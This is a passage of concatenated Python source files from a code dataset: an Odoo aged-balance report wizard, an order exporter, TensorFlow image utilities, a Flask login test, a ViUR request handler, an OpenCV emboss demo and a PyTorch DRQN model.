0 end) as amount2\n                , sum(case when ('\"\"\" + start_date + \"\"\"' - s.date) between \"\"\" + period_3 + \"\"\" and \"\"\" + period_4 + \"\"\" then \n                    (case when acc.internal_type = 'payable' then -1*(s.debit-s.credit) else (s.debit-s.credit) end) else 0 end) as amount3\n                , sum(case when ('\"\"\" + start_date + \"\"\"' - s.date) > \"\"\" + period_4 + \"\"\" then \n                    (case when acc.internal_type = 'payable' then -1*(s.debit-s.credit) else (s.debit-s.credit) end) else 0 end) as amount4\n            from account_move_line s\n                left join account_move m on m.id = s.move_id\n                left join account_account acc on acc.id = s.account_id\n                left join res_partner rp on rp.id = s.partner_id\n            where s.company_id = {company_id}                                        \n                \"\"\" + where_account_clause + \"\"\"\n                \"\"\" + where_partner_clause + \"\"\"\n                \"\"\" + where_result_selection_clause + \"\"\"\n                \"\"\" + where_target_move_clause + \"\"\"   \n                and s.\"date\" <= '{start_date}'                                                               \n            group by acc.internal_type, s.partner_id, rp.name, s.account_id, acc.name\n            having sum(debit-credit) != 0\n            order by s.account_id , rp.name\n            \"\"\"\n        final_query = query.format(company_id=self.company_id.id, start_date=self.date_from,\n                                   ap_account_id=self.ap_account_id.id, ar_account_id=self.ar_account_id.id,\n                                   supplier_id=supplier_format_clause, customer_id=customer_format_clause)\n\n        self.env.cr.execute(final_query)\n        aged_partner_balance = self.env.cr.dictfetchall()\n\n        return aged_partner_balance\n\n    def query_get_clause(self):\n\n        where_account_clause = \"\"\n        where_partner_clause = \"and s.partner_id is not null\"\n\n        where_target_move_clause = \"\"\n        if self.target_move == 'posted':\n            where_target_move_clause = \"and m.state = 'posted'\"\n\n        where_result_selection_clause = \"and acc.internal_type in ('payable', 'receivable')\"\n        if self.result_selection == 'supplier':\n            where_result_selection_clause = \"and acc.internal_type = 'payable'\"\n\n            if self.ap_account_id:\n                where_account_clause = \"and s.account_id = {ap_account_id}\"\n\n            if self.supplier_id:\n                where_partner_clause = \"and s.partner_id in {supplier_id}\"\n                if len(self.supplier_id.ids) == 1:\n                    where_partner_clause = \"and s.partner_id = {supplier_id}\"\n\n        elif self.result_selection == 'customer':\n            where_result_selection_clause = \"and acc.internal_type = 'receivable'\"\n\n            if self.ar_account_id:\n                where_account_clause = \"and s.account_id = {ar_account_id}\"\n\n            if self.customer_id:\n                where_partner_clause = \"and s.partner_id in {customer_id}\"\n                if len(self.customer_id.ids) == 1:\n                    where_partner_clause = \"and s.partner_id = {customer_id}\"\n\n        return where_account_clause, where_partner_clause, where_result_selection_clause, where_target_move_clause\n\n    @staticmethod\n    def _define_report_name():\n\n        rpt = \"/kg_account/static/rpt/AgedPartnerBalance.mrt\"\n\n        return rpt\n\n    # @api.multi\n    # def _get_data(self):\n    #     \"\"\" get data from database or any other source\n    #\n    #     :return: dict or list of dict\n    #     \"\"\"\n    #     data = self.get_param()\n    #\n    #     res, lines = self.get_report_values(data=data)\n    #\n    #     if len(res['get_direction']) == 0:\n    #         res['get_direction'] = [0, 0, 0, 0, 0, 0, 0]\n    #\n    #     if data['form']['result_selection'] == 'supplier':\n    #         return {\n    #             \"config\": {\n    #                 \"start_date\": res['data']['date_from'],\n    #                 \"period_length\": res['data']['period_length'],\n    #                 \"partners\": dict(self._fields['result_selection'].selection).get(self.result_selection),\n    #                 \"target_move\": dict(self._fields['target_move'].selection).get(self.target_move),\n    #                 \"account_id\": data['form']['ap_account_id'],\n    #                 \"partner_id\": data['form']['supplier_id'],\n    #             },\n    #             \"period\": {\n    #                 \"period_1\": \"Partners\",\n    #                 \"period_2\": res['data']['4']['name'],\n    #                 \"period_3\": res['data']['3']['name'],\n    #                 \"period_4\": res['data']['2']['name'],\n    #                 \"period_5\": res['data']['1']['name'],\n    #                 \"period_6\": \"Total\",\n    #             },\n    #             \"data_total\": {\n    #                 \"total_1\": \"Account Total\",\n    #                 \"total_2\": -1 * (res['get_direction'][4] + res['get_direction'][6]),\n    #                 \"total_3\": -1 * res['get_direction'][3],\n    #                 \"total_4\": -1 * res['get_direction'][2],\n    #                 \"total_5\": -1 * (res['get_direction'][1] + res['get_direction'][0]),\n    #                 \"total_6\": -1 * res['get_direction'][5],\n    #             },\n    #             \"data\": lines\n    #         }\n    #     elif data['form']['result_selection'] == 'customer':\n    #         return {\n    #             \"config\": {\n    #                 \"start_date\": res['data']['date_from'],\n    #                 \"period_length\": res['data']['period_length'],\n    #                 \"partners\": dict(self._fields['result_selection'].selection).get(self.result_selection),\n    #                 \"target_move\": dict(self._fields['target_move'].selection).get(self.target_move),\n    #                 \"account_id\": data['form']['ar_account_id'],\n    #                 \"partner_id\": data['form']['customer_id'],\n    #             },\n    #             \"period\": {\n    #                 \"period_1\": \"Partners\",\n    #                 \"period_2\": res['data']['4']['name'],\n    #                 \"period_3\": res['data']['3']['name'],\n    #                 \"period_4\": res['data']['2']['name'],\n    #                 \"period_5\": res['data']['1']['name'],\n    #                 \"period_6\": \"Total\",\n    #             },\n    #             \"data_total\": {\n    #                 \"total_1\": \"Account Total\",\n    #                 \"total_2\": res['get_direction'][4] + res['get_direction'][6],\n    #                 \"total_3\": res['get_direction'][3],\n    #                 \"total_4\": res['get_direction'][2],\n    #                 \"total_5\": res['get_direction'][1] + res['get_direction'][0],\n    #                 \"total_6\": res['get_direction'][5],\n    #             },\n    #             \"data\": lines\n    #         }\n    #     else:\n    #         return {\n    #             \"config\": {\n    #                 \"start_date\": res['data']['date_from'],\n    #                 \"period_length\": res['data']['period_length'],\n    #                 \"partners\": dict(self._fields['result_selection'].selection).get(self.result_selection),\n    #                 \"target_move\": dict(self._fields['target_move'].selection).get(self.target_move),\n    #             },\n    #             \"period\": {\n    #                 \"period_1\": \"Partners\",\n    #                 \"period_2\": res['data']['4']['name'],\n    #                 \"period_3\": res['data']['3']['name'],\n    #                 \"period_4\": res['data']['2']['name'],\n    #                 \"period_5\": res['data']['1']['name'],\n    #                 \"period_6\": \"Total\",\n    #             },\n    #             \"data_total\": {\n    #                 \"total_1\": \"Account Total\",\n    #                 \"total_2\": res['get_direction'][4] + res['get_direction'][6],\n    #                 \"total_3\": res['get_direction'][3],\n    #                 \"total_4\": res['get_direction'][2],\n    #                 \"total_5\": res['get_direction'][1] + res['get_direction'][0],\n    #                 \"total_6\": res['get_direction'][5],\n    #             },\n    #             \"data\": lines\n    #         }\n    #\n    # def get_param(self):\n    #     data = {}\n    #     res = {}\n    #     data['form'] = self.read(['date_from', 'period_length', 'target_move', 'result_selection',\n    #                               'ap_account_id', 'supplier_id', 'ar_account_id', 'customer_id'])[0]\n    #     used_context = self._build_contexts(data)\n    #     data['form']['used_context'] = dict(used_context, lang=self.env.context.get('lang') or 'en_US')\n    #     period_length = data['form']['period_length']\n    #\n    #     if period_length <= 0:\n    #         raise UserError(_('You must set a period length greater than 0.'))\n    #     if not data['form']['date_from']:\n    #         raise UserError(_('You must set a start date.'))\n    #\n    #     start = datetime.strptime(data['form']['date_from'], \"%Y-%m-%d\")\n    #\n    #     for i in range(5)[::-1]:\n    #         stop = start - relativedelta(days=period_length - 1)\n    #\n    #         # custom code to set custom period (e.g 0-30, 31-60, 61-90, 120+)\n    #         if i == 4:\n    #             res[str(i)] = {\n    #                 'name': (str((5-(i+1)) * period_length) + '-' + str((5-i) * period_length)),\n    #                 'stop': start.strftime('%Y-%m-%d'),\n    #                 'start': (i != 0 and stop.strftime('%Y-%m-%d') or False),\n    #             }\n    #         elif i == 1:\n    #             res[str(i)] = {\n    #                 'name': ('> '+str(3 * period_length)),\n    #                 'stop': start.strftime('%Y-%m-%d'),\n    #                 'start': (i != 0 and stop.strftime('%Y-%m-%d') or False),\n    #             }\n    #         else:\n    #             res[str(i)] = {\n    #                 'name': (i in [2, 3] and (str(((5-(i+1)) * period_length)+1) + '-' + str((5-i) * period_length)) or ('> '+str(4 * period_length))),\n    #                 'stop': start.strftime('%Y-%m-%d'),\n    #                 'start': (i != 0 and stop.strftime('%Y-%m-%d') or False),\n    #             }\n    #\n    #         start = stop - relativedelta(days=1)\n    #         data['form'].update(res)\n    #     return data\n    #\n    # def _build_contexts(self, data):\n    #     result = {}\n    #     result['state'] = 'target_move' in data['form'] and data['form']['target_move'] or ''\n    #     result['date_from'] = data['form']['date_from'] or False\n    #     result['strict_range'] = True if result['date_from'] else False\n    #     return result\n    #\n    # def get_report_values(self, data=None):\n    #     # from /local/kg_account/reports/account_partner_ledger.py\n    #     target_move = data['form'].get('target_move', 'all')\n    #     date_from = data['form'].get('date_from', time.strftime('%Y-%m-%d'))\n    #\n    #     if data['form']['result_selection'] == 'customer':\n    #         account_type = ['receivable']\n    #     elif data['form']['result_selection'] == 'supplier':\n    #         account_type = ['payable']\n    #     else:\n    #         account_type = ['payable', 'receivable']\n    #\n    #     period_length = data['form']['period_length']\n    #     account_id = None\n    #     partner_id = None\n    #     if data['form']['ap_account_id']:\n    #         account_id = (data['form']['ap_account_id'][0])\n    #         if data['form']['supplier_id']:\n    #             partner_id = data['form']['supplier_id']\n    #     elif data['form']['ar_account_id']:\n    #         account_id = (data['form']['ar_account_id'][0])\n    #         if data['form']['customer_id']:\n    #             partner_id = data['form']['customer_id']\n    #\n    #     move_lines, total, dummy = self.env['report.account.report_agedpartnerbalance'].\\\n    #         _get_partner_move_lines(account_type, date_from, target_move, period_length, account_id, partner_id)\n    #\n    #     res = {\n    #         'data': data['form'],\n    #         'time': time,\n    #         'get_partner_lines': move_lines,\n    #         'get_direction': total,\n    #     }\n    #     lines = []\n    #\n    #     for p in res['get_partner_lines']:\n    #         if account_type == ['payable']:\n    #             lines.append({\n    #                 \"partner_name\": p['name'],\n    #                 \"account_name\": p['account_name'],\n    #                 \"total_1\": -1 * (p['4'] + p['direction']),\n    #                 \"total_2\": -1 * p['3'],\n    #                 \"total_3\": -1 * p['2'],\n    #                 \"total_4\": -1 * (p['1'] + p['0']),\n    #                 \"total_5\": -1 * p['total'],\n    #             })\n    #         else:\n    #             lines.append({\n    #                 \"partner_name\": p['name'],\n    #                 \"account_name\": p['account_name'],\n    #                 \"total_1\": p['4'] + p['direction'],\n    #                 \"total_2\": p['3'],\n    #                 \"total_3\": p['2'],\n    #                 \"total_4\": p['1'] + p['0'],\n    #                 \"total_5\": p['total'],\n    #             })\n    #\n    #     return res, lines\n\n\n","sub_path":"local/kg_account/wizards/wizard_kg_report_aged_partner_balance.py","file_name":"wizard_kg_report_aged_partner_balance.py","file_ext":"py","file_size_in_byte":16478,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"585916233","text":"import os\nimport pprint\n\nfrom order.model import OrderItem, Order\n\n\nPATH_NOT_EXIST = 'Путь к файлу для сохранения словаря не существует'\n\n\nclass OrderDictExporter:\n\n    template = \"order = %s\"\n\n    def __init__(self, path=''):\n        self.__path = path\n\n    def export(self, order: Order):\n        order_dict = self.export_order_to_dict(order)\n        to_write = self.template % self.__pretty_print(order_dict)\n        if not self.__path or not os.path.exists(self.__path):\n            raise ValueError(PATH_NOT_EXIST)\n        with open(self.__path, 'w') as file:\n            file.write(to_write)\n\n    @classmethod\n    def __pretty_print(cls, order_dict):\n        pprinter = pprint.PrettyPrinter()\n        result = pprinter.pformat(order_dict)\n        return result\n\n    @classmethod\n    def export_order_to_dict(cls, order: Order) -> dict:\n        result = {\n            'order_id': str(order.order_id),\n            'approved_limit': order.approved_limit,\n            'total_cost': order.total_cost,\n            'order_items': cls.__export_order_items_to_list(order)\n        }\n        return result\n\n    @classmethod\n    def __export_order_items_to_list(cls, order: Order) -> list:\n        result = [cls.__export_order_item_to_dict(order_item) for order_item in order]\n        return result\n\n    @classmethod\n    def __export_order_item_to_dict(cls, order_item: OrderItem) -> dict:\n        result = {\n            'item_number': str(order_item.item_number),\n            'quantity': order_item.quantity,\n            'product_name': str(order_item.product_name),\n            'price': order_item.price\n        }\n        return result\n","sub_path":"order/report/dict/exporter.py","file_name":"exporter.py","file_ext":"py","file_size_in_byte":1674,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"164259552","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport argparse\nimport os.path\nimport re\nimport random\nimport math\nimport numpy as np\nfrom scipy import misc\nimport matplotlib.pyplot as plt\n\nimport tensorflow as tf\ntf.logging.set_verbosity(tf.logging.INFO)\n\nfrom tensorflow.python.platform import gfile\nfrom tensorflow.python.framework import tensor_shape\nfrom tensorflow.contrib.keras.python.keras.applications.inception_v3 import preprocess_input\n\n# These are all parameters that are tied to the particular model architecture\n# we're using for Inception v3. These include things like tensor names and their\n# sizes. If you want to adapt this script to work with another model, you will\n# need to update these to reflect the values in the network you're using.\nMAX_NUM_IMAGES_PER_CLASS = 2 ** 27 - 1  # ~134M\n\n\ndef create_image_dataset(image_dir, training_percentage=0.7, testing_percentage=0.2):\n    \"\"\"Builds a list of training images from the file system.\n    Analyzes the sub folders in the image directory, splits them into stable\n    training, testing, and validation sets, and returns a data structure\n    describing the lists of images for each label and their paths.\n    Args:\n      image_dir: String path to a folder containing subfolders of images.\n      testing_percentage: Integer percentage of the images to reserve for tests.\n      validation_percentage: Integer percentage of images reserved for validation.\n    Returns:\n      A dictionary containing an entry for each label subfolder, with images split\n      into training, testing, and validation sets within each label.\n    \"\"\"\n    if not gfile.Exists(image_dir):\n        tf.logging.error(\"Image directory '\" + image_dir + \"' not found.\")\n        return None\n    result = {}\n    sub_dirs = [x[0] for x in gfile.Walk(image_dir)]\n    # The root directory comes first, so skip it.\n    is_root_dir = True\n    for sub_dir in sub_dirs:\n        if is_root_dir:\n            is_root_dir = False\n            continue\n        extensions = ['jpg', 'jpeg', 'JPG', 'JPEG']\n        file_list = []\n        dir_name = os.path.basename(sub_dir)\n        if dir_name == image_dir:\n            continue\n        tf.logging.info(\"Looking for images in \" + dir_name)\n        for extension in extensions:\n            file_glob = os.path.join(image_dir, dir_name, '*.' + extension)\n            file_list.extend(gfile.Glob(file_glob))\n        if not file_list:\n            tf.logging.warning('No files found')\n            continue\n        if len(file_list) < 20:\n            tf.logging.warning(\n                'WARNING: Folder has less than 20 images, which may cause issues.')\n        elif len(file_list) > MAX_NUM_IMAGES_PER_CLASS:\n            tf.logging.warning(\n                'WARNING: Folder {} has more than {} images. Some images will '\n                'never be selected.'.format(dir_name, MAX_NUM_IMAGES_PER_CLASS))\n        label_name = re.sub(r'[^a-z0-9]+', ' ', dir_name.lower())\n        # tf.logging.info(dir_name + \" contains \" + str(len(file_list)) + \" images\")\n        # training_images = []\n        # testing_images = []\n        # validation_images = []\n        # for file_name in file_list:\n            # base_name = os.path.basename(file_name)\n            # # We want to ignore anything after '_nohash_' in the file name when\n            # # deciding which set to put an image in, the data set creator has a way of\n            # # grouping photos that are close variations of each other. For example\n            # # this is used in the plant disease data set to group multiple pictures of\n            # # the same leaf.\n            # hash_name = re.sub(r'_nohash_.*$', '', file_name)\n            # # This looks a bit magical, but we need to decide whether this file should\n            # # go into the training, testing, or validation sets, and we want to keep\n            # # existing files in the same set even if more files are subsequently\n            # # added.\n            # # To do that, we need a stable way of deciding based on just the file name\n            # # itself, so we do a hash of that and then use that to generate a\n            # # probability value that we use to assign it.\n            # hash_name_hashed = hashlib.sha1(compat.as_bytes(hash_name)).hexdigest()\n            # percentage_hash = ((int(hash_name_hashed, 16) %\n            #                     (MAX_NUM_IMAGES_PER_CLASS + 1)) *\n            #                    (100.0 / MAX_NUM_IMAGES_PER_CLASS))\n            # if percentage_hash < validation_percentage:\n            #     validation_images.append(base_name)\n            # elif percentage_hash < (testing_percentage + validation_percentage):\n            #     testing_images.append(base_name)\n            # else:\n            #     training_images.append(base_name)\n        random.shuffle(file_list)\n        training_images = file_list[:int(math.floor(len(file_list)*training_percentage))]\n        testing_images = file_list[int(math.floor(len(file_list)*training_percentage)):int(math.floor(len(file_list)*(training_percentage+testing_percentage)))]\n        validation_images = file_list[int(math.floor(len(file_list) * (training_percentage + testing_percentage))):]\n        tf.logging.info(dir_name + \" contains \" + str(len(file_list)) + \" images, \" + \" training:\" + str(len(training_images)) + \" testing:\" + str(len(testing_images)) + \" validation:\" + str(len(validation_images)))\n        result[label_name] = {\n            'dir': dir_name,\n            'training': training_images,\n            'testing': testing_images,\n            'validation': validation_images,\n        }\n\n    return result\n\n\ndef add_input_distortions(flip_left_right, random_crop, random_scale,\n                          random_brightness, input_width, input_height,\n                          input_depth, input_mean, input_std):\n    \"\"\"Creates the operations to apply the specified distortions.\n    During training it can help to improve the results if we run the images\n    through simple distortions like crops, scales, and flips. These reflect the\n    kind of variations we expect in the real world, and so can help train the\n    model to cope with natural data more effectively. Here we take the supplied\n    parameters and construct a network of operations to apply them to an image.\n    Cropping\n    ~~~~~~~~\n    Cropping is done by placing a bounding box at a random position in the full\n    image. The cropping parameter controls the size of that box relative to the\n    input image. If it's zero, then the box is the same size as the input and no\n    cropping is performed. If the value is 50%, then the crop box will be half the\n    width and height of the input. In a diagram it looks like this:\n    <       width         >\n    +---------------------+\n    |                     |\n    |   width - crop%     |\n    |    <      >         |\n    |    +------+         |\n    |    |      |         |\n    |    |      |         |\n    |    |      |         |\n    |    +------+         |\n    |                     |\n    |                     |\n    +---------------------+\n    Scaling\n    ~~~~~~~\n    Scaling is a lot like cropping, except that the bounding box is always\n    centered and its size varies randomly within the given range. For example if\n    the scale percentage is zero, then the bounding box is the same size as the\n    input and no scaling is applied. If it's 50%, then the bounding box will be in\n    a random range between half the width and height and full size.\n    Args:\n      flip_left_right: Boolean whether to randomly mirror images horizontally.\n      random_crop: Integer percentage setting the total margin used around the\n      crop box.\n      random_scale: Integer percentage of how much to vary the scale by.\n      random_brightness: Integer range to randomly multiply the pixel values by.\n      graph.\n      input_width: Horizontal size of expected input image to model.\n      input_height: Vertical size of expected input image to model.\n      input_depth: How many channels the expected input image should have.\n      input_mean: Pixel value that should be zero in the image for the graph.\n      input_std: How much to divide the pixel values by before recognition.\n    Returns:\n      The jpeg input layer and the distorted result tensor.\n    \"\"\"\n\n    jpeg_data = tf.placeholder(tf.string, name='DistortJPGInput')\n    decoded_image = tf.image.decode_jpeg(jpeg_data, channels=input_depth)\n    decoded_image_as_float = tf.cast(decoded_image, dtype=tf.float32)\n    decoded_image_4d = tf.expand_dims(decoded_image_as_float, 0)\n    margin_scale = 1.0 + (random_crop / 100.0)\n    resize_scale = 1.0 + (random_scale / 100.0)\n    margin_scale_value = tf.constant(margin_scale)\n    resize_scale_value = tf.random_uniform(tensor_shape.scalar(),\n                                           minval=1.0,\n                                           maxval=resize_scale)\n    scale_value = tf.multiply(margin_scale_value, resize_scale_value)\n    precrop_width = tf.multiply(scale_value, input_width)\n    precrop_height = tf.multiply(scale_value, input_height)\n    precrop_shape = tf.stack([precrop_height, precrop_width])\n    precrop_shape_as_int = tf.cast(precrop_shape, dtype=tf.int32)\n    precropped_image = tf.image.resize_bilinear(decoded_image_4d,\n                                                precrop_shape_as_int)\n    precropped_image_3d = tf.squeeze(precropped_image, squeeze_dims=[0])\n    cropped_image = tf.random_crop(precropped_image_3d,\n                                   [input_height, input_width, input_depth])\n    if flip_left_right:\n        flipped_image = tf.image.random_flip_left_right(cropped_image)\n    else:\n        flipped_image = cropped_image\n    brightness_min = 1.0 - (random_brightness / 100.0)\n    brightness_max = 1.0 + (random_brightness / 100.0)\n    brightness_value = tf.random_uniform(tensor_shape.scalar(),\n                                         minval=brightness_min,\n                                         maxval=brightness_max)\n    brightened_image = tf.multiply(flipped_image, brightness_value)\n    offset_image = tf.subtract(brightened_image, input_mean)\n    mul_image = tf.multiply(offset_image, 1.0 / input_std)\n    distort_result = tf.expand_dims(mul_image, 0, name='DistortResult')\n    return jpeg_data, distort_result\n\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser()\n    parser.add_argument('--image_dir', type=str, default='../dataset/flowers/flower_photos')\n    parser.add_argument('--training_percentage', type=float, default=0.8)\n    parser.add_argument('--testing_percentage', type=float, default=0.2)\n    FLAGS, unparsed = parser.parse_known_args()\n    flowers_dataset = create_image_dataset(FLAGS.image_dir, training_percentage=FLAGS.training_percentage, testing_percentage=FLAGS.testing_percentage)\n\n    for label_name, label_lists in flowers_dataset.items():\n        for category in ['training', 'testing', 'validation']:\n            category_list = label_lists[category]\n            for index, image_path in enumerate(category_list):\n                if not gfile.Exists(image_path):\n                    tf.logging.fatal('File does not exist %s', image_path)\n                # image_str = gfile.FastGFile(image_path, 'rb').read()\n\n                img = preprocess_input(misc.imresize(misc.imread(image_path), [229, 229]).astype(np.float32))\n                plt.imshow(img)\n                plt.show()\n                print()\n    # get_image_path(flowers_dataset, )\n    print(\"\")","sub_path":"utils/image_io.py","file_name":"image_io.py","file_ext":"py","file_size_in_byte":11506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"141992788","text":"import unittest\r\nimport sys\r\nsys.path.insert(0,'/home/vagrant/dev/moon/project')\r\nfrom project import app\r\n\r\nclass FirstTestCase(unittest.TestCase):\r\n    def setUp(self):\r\n         self.app=app.test_client()\r\n\r\n    def login(self,uname,pwd):\r\n        rv= self.app.post('/login',\r\n                             data=dict(username=uname,password=pwd),\r\n                             follow_redirects=True)\r\n        return rv\r\n\r\n    def test_first(self):\r\n        rv=self.login('admin','default')\r\n        assert b'login successful' in rv.data\r\n\r\n    def test_session(self):\r\n        with self.app.session_transaction() as sess:\r\n            sess['a']=123465\r\n        self.app.get('/login')\r\n\r\n\r\nif __name__=='__main__':\r\n    unittest.main()\r\n","sub_path":"project/tests/first_test.py","file_name":"first_test.py","file_ext":"py","file_size_in_byte":738,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"400424702","text":"\"\"\"Flare base handlers for ViUR prototypes.\"\"\"\n\nfrom .network import NetworkService\nfrom .event import EventDispatcher\nfrom .observable import StateHandler\n\n\nclass requestHandler:\n    def __init__(\n        self, module, action, params=(), eventName=\"listUpdated\", secure=False\n    ):\n        self.module = module\n        self.action = action\n        self.params = params\n        self.eventName = eventName\n        self.secure = secure\n        setattr(self, self.eventName, EventDispatcher(self.eventName))\n        self.requestFailed = EventDispatcher(\"requestFailed\")\n        self.state = StateHandler((), self)\n        self.state.updateState(\"listStatus\", \"init\")\n\n    def requestData(self, *args, **kwargs):\n        self.state.updateState(\"listStatus\", \"loading\")\n        NetworkService.request(\n            self.module,\n            self.action,\n            self.params,\n            successHandler=self.requestSuccess,\n            failureHandler=self._requestFailed,\n            secure=self.secure,\n        )\n\n    def requestSuccess(self, req):\n        self.state.updateState(\"listStatus\", \"success\")\n        resp = NetworkService.decode(req)\n        self.resp = resp\n\n        if self.action == \"view\":\n            resp[\"values\"] = self.buildSelectDescr(resp[\"values\"], resp[\"structure\"])\n\n        getattr(self, self.eventName).fire(self.resp)\n\n    def _requestFailed(self, req, *args, **kwargs):\n        self.state.updateState(\"listStatus\", \"failed\")\n        print(\"REQUEST Failed\")\n        print(req)\n        # resp = NetworkService.decode(req)\n        # print(resp)\n        self.requestFailed.fire(req)\n\n    def onListStatusChanged(self, event, *args, **kwargs):\n        pass\n\n    def getDescrFromValue(self, definition, val):\n        return dict(definition[\"values\"])[val]\n\n    def buildSelectDescr(self, skel, structure):\n        for bone, definition in dict(structure).items():\n            if definition[\"type\"].startswith(\"relational.\") and definition[\"using\"]:\n                if isinstance(skel[bone], list):\n                    skel[bone] = [\n                        {\n                            \"dest\": relskel[\"dest\"],\n                            \"rel\": self.buildSelectDescr(\n                                relskel[\"rel\"], definition[\"using\"]\n                            ),\n                        }\n                        for relskel in skel[bone]\n                    ]\n                else:\n                    try:\n                        skel[bone][\"rel\"] = self.buildSelectDescr(\n                            skel[bone][\"rel\"], definition[\"using\"]\n                        )\n                    except:\n                        pass\n\n            if definition[\"type\"] != \"select\":\n                continue\n            try:\n                if isinstance(skel[bone], str):\n                    descr = self.getDescrFromValue(definition, skel[bone])\n                elif isinstance(skel[bone], list):\n                    descr = [\n                        self.getDescrFromValue(definition, val) for val in skel[bone]\n                    ]\n                else:\n                    descr = None\n\n                skel[bone + \"_descr\"] = descr\n            except:\n                skel[bone + \"_descr\"] = None\n        return skel\n\n\nclass ListHandler(requestHandler):\n    def __init__(\n        self, module, action, params=(), eventName=\"listUpdated\", secure=False\n    ):\n        self.cursor = None\n        self.complete = False\n        self.skellist = []\n        self.structure = {}\n        super().__init__(module, action, params, eventName, secure)\n\n    def reload(self):\n        self.skellist = []\n        self.cursor = None\n        self.complete = False\n        if \"cursor\" in self.params:\n            del self.params[\"cursor\"]\n        self.requestData()\n\n    def filter(self, filterparams):\n        self.params = filterparams\n        self.reload()\n\n    def getCurrentAmount(self):\n        return len(self.skellist)\n\n    def requestNext(self):\n        if not self.complete:\n            self.params.update({\"cursor\": self.cursor})\n            self.requestData()\n\n    def requestSuccess(self, req):\n\n        resp = NetworkService.decode(req)\n        self.resp = resp\n\n        if \"cursor\" in resp and not resp[\"cursor\"]:\n            self.complete = True\n\n        self.cursor = resp.get(\"cursor\",\"\")\n\n        if not self.structure and \"structure\" in resp:\n            self.structure = resp[\"structure\"]\n\n        for skel in resp[\"skellist\"]:\n            skel = self.buildSelectDescr(skel, self.structure)\n            self.skellist.append(skel)\n        self.state.updateState(\"listStatus\", \"success\")\n        getattr(self, self.eventName).fire(self.skellist)\n","sub_path":"flare/handler.py","file_name":"handler.py","file_ext":"py","file_size_in_byte":4670,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"166628290","text":"import numpy as np\nimport copy\n\nclass Column:\n    id = \"\"\n    values = []\n\n    def __init__(self, id):\n        self.id = id\n        self.values = np.array([])\n\n    def get_schema (self):\n        schema = dict()\n        schema[\"id\"] = self.id\n        schema[\"count\"] = len(self.values)\n        if (schema[\"count\"] > 0):\n            schema[\"min_value\"] = min(self.values)\n            schema[\"max_value\"] = max(self.values)\n        else:\n            schema[\"min_value\"] = 0\n            schema[\"max_value\"] = 0\n        return schema\n\n    def clone (self):\n        column = Column(self.id)\n        column.values = np.copy(self.values)\n        return column\n\n    def get_value (self, index):\n        if index >= 0 and index < len(self.values):\n            return copy.copy(self.values[index])\n        else:\n            return None\n\n    def add_value (self, value):\n        self.values = np.append(self.values, [ value ])\n","sub_path":"src/main/python/model/column.py","file_name":"column.py","file_ext":"py","file_size_in_byte":915,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"120037545","text":"import cv2\r\nimport numpy as np\r\n\"\"\"\r\nB,G,R\r\n\"\"\"\r\n\r\n# # 颜色翻转\r\n# src = cv2.imread('./fea.png') # 读取彩色图片\r\n# img_info = src.shape\r\n# image_h = img_info[0]\r\n# image_w = img_info[1]\r\n# dst = np.zeros((image_h, image_w, 3), np.uint8)\r\n#\r\n#\r\n# for i in range(image_h):\r\n#     for j in range(image_w):\r\n#         (b, g, r) = src[i][j]\r\n#         dst[i][j] = (255-b, 255-g, 255-r)\r\n#\r\n# cv2.imshow('src', src)\r\n# cv2.waitKey()\r\n# cv2.imshow('2', dst)\r\n# cv2.waitKey()\r\n\r\n\r\n# 浮雕效果\r\nimg = cv2.imread('./fea.png') # 读取彩色图片\r\nimg_info = img.shape\r\n\r\nimage_h = img_info[0]\r\nimage_w = img_info[1]\r\nimage_c = img_info[2]\r\ncv2.imshow('img', img)\r\ncv2.waitKey()\r\ncv2.destroyAllWindows()\r\nimg = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\r\nnew_img=np.zeros((image_h,image_w,3),dtype=np.uint8)\r\n\r\nfor i in range(image_h):\r\n    for j in range(image_w-1):\r\n        current_Pixel = int(img[i,j])\r\n        next_Pixel = int(img[i, j+1])\r\n        new_Pixel = current_Pixel - next_Pixel + 150\r\n        # 阈值处理\r\n        if new_Pixel > 255:\r\n            new_Pixel = 255\r\n        if new_Pixel < 0:\r\n            new_Pixel = 0\r\n        new_img[i, j] = new_Pixel\r\ncv2.imshow('new_img',new_img)\r\ncv2.waitKey()\r\ncv2.destroyAllWindows()","sub_path":"计算机视觉入门.py","file_name":"计算机视觉入门.py","file_ext":"py","file_size_in_byte":1239,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"142225939","text":"import torch\nimport torch.nn as nn\nimport torch.nn.utils as utils\n\nclass DRQNModel(nn.Module):\n\n    def __init__(self, mode='Train'):\n        super(DRQNModel, self).__init__()\n\n        # 2 layer CNN \n        self.conv = nn.Sequential(\n            nn.Conv2d(1, 16, kernel_size=8, stride=4),\n            nn.ELU(),\n            nn.Conv2d(16, 32, kernel_size=4, stride=2),\n            nn.ELU())\n\n        # Dense layer w/ dropout (CNN -> reshape -> rnn input)\n        self.drop = nn.Dropout(0.3) if mode == 'Train' else None\n\n        # 1 Layer LSTM\n        self.rnn = nn.LSTM(32*9*9, 256, num_layers=1, batch_first=True)\n        self.state = None\n\n        # Dense linear output\n        self.out = nn.Linear(256, 6)\n\n    \n    def forward(self, x):\n        if x.dim() < 5:\n            x = x.unsqueeze(0)\n        batch_size = x.shape[0]\n        max_seq = x.shape[1]\n\n        # Apply 2 layer CNN\n        x = x.reshape(-1, 1, 84, 84)\n        x = self.conv(x)\n\n        # Reshape to dense and apploy dropout if needed\n        x = x.reshape(batch_size, max_seq, 32*9*9)\n        if self.drop is not None:\n            x = self.drop(x)\n\n        # Apply RNN\n        if self.state is None:\n            x, self.state = self.rnn(x)\n        else:\n            (h, c) = self.state\n            x, self.state = self.rnn(x, (h.detach(), c.detach()))\n        \n        # Apply output layer\n        x = self.out(x)\n        return x\n\n    def reset_state(self):\n        self.state = 